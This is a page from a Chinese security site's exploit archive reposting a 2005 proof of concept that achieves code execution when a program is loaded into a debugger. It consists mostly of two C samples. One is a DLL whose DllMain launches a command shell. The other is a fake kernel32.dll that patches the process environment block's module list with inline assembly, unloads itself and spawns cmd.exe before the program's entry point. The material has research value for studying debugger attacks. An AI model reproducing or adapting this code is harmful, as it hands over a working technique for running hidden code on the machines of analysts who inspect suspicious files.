首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Multiple Debuggers Security Bypass and Code Execution Exploit
来源:brett.moore@security-assessment.com 作者:brett 发布时间:2005-04-14  

Multiple Debuggers Security Bypass and Code Execution Exploit

/*
-------------------------------------------------------------------------
- PREDEBUG 1 - The Autoexecute DLL [ DLL PART ]
-
- Sample showing code execution upon loading in a debugger
- PREDEBUG loads its own dll that has initialization code
- This code will be executed before control is passed back
- to the debugger
-
- brett.moore@security-assessment.com
-------------------------------------------------------------------------
*/
#include "stdafx.h"
#include "process.h"
extern "C" int __declspec(dllexport) myfunc(void);
int myfunc();
int myfunc()
{
return TRUE;
}
BOOL APIENTRY DllMain( HANDLE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
system("cmd");
return TRUE;
}

/*
-------------------------------------------------------------------------
- PREDEBUG 2 - The Kernel32 DLL Replacement
-
- Sample showing code execution upon loading in a debugger
- PREDEBUG loads its own copy of kernel32 which alters the
- entry address, removes the copy and loads the real
- kernel32.dll
-
- When compiled and loaded into a debugger, this code will
- cause a cmd.exe shell to be started before the executables
- entry point is reached.
-
- Needs to be compiled without optimisation
-
- brett.moore@security-assessment.com
-------------------------------------------------------------------------
*/
#define _WIN32_WINNT 0x501
#include <stdio.h>
#include <windows.h>
// Included From winternl.h
typedef struct _UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING;
typedef UNICODE_STRING *PUNICODE_STRING;
VOID (__stdcall *LdrLoadDl)(
IN PWCHAR PathToFile OPTIONAL,
IN ULONG Flags OPTIONAL,
IN PUNICODE_STRING ModuleFileName,
OUT PHANDLE ModuleHandle );
VOID (__stdcall *LdrUnloadDll)(
HINSTANCE pInstance
);
VOID (__stdcall *RtlInitUnicodeString)(
IN OUT PUNICODE_STRING DestinationString,
IN PCWSTR SourceString
);

void predebug()
{
HMODULE hMod;
UNICODE_STRING nString;
STARTUPINFO si;
PROCESS_INFORMATION pi;
// Grab the API addresses we require
hMod = GetModuleHandle("ntdll.dll");
LdrLoadDl = (void *) GetProcAddress(hMod, "LdrLoadDll");
LdrUnloadDll = (void *) GetProcAddress(hMod, "LdrUnloadDll");
RtlInitUnicodeString = (void *) GetProcAddress(
hMod,"RtlInitUnicodeString");
// Init the unicode string
RtlInitUnicodeString(&nString,L"kernel32.dll");
// Removes the 'system dll' check
_asm{
mov esi,fs:0x30 // Get Peb
add esi,0x0c // Move to PPROCESS_MODULE_INFO
lodsd // Get the pointer into EAX
mov esi,[eax + 0x1c] // InInitializationOrderModuleList
lodsd // Grab Next Pointer in eax
mov word ptr [eax+0x28],01 // Overwrite the 'load count'
}
// Get the address of our dll
hMod = GetModuleHandle("predebug.dll");
// Unload it
LdrUnloadDll(hMod);
// Load the real kernel32.dll
LdrLoadDl(NULL,NULL,&nString,&hMod);
// We are now in a state where we can execute code normally
GetStartupInfo(&si);
CreateProcess("c:\\winnt\\system32\\cmd.exe", NULL, NULL,
NULL, TRUE,CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi);
ExitProcess(1);
}

int main(int argc, char *argv[])
{
printf("Hello World....\n");
}




 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Salim Gasmi GLD Postfix Greyli
·Sumus v0.2.2 httpd Component R
·Oracle Database PL/SQL Stateme
·Sendmail <= 8.12.9 remote e
·Oracle Database Server MDSYS.M
·Mozilla Firefox Sidebar Code E
·Microsoft Internet Explorer DH
·Mozilla Suite and Firefox favi
·Microsoft Jet Database Engine
·Microsoft Windows IP Validatio
·Microsoft Jet Database Engine
·Serendipity exit.php SQL Injec
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved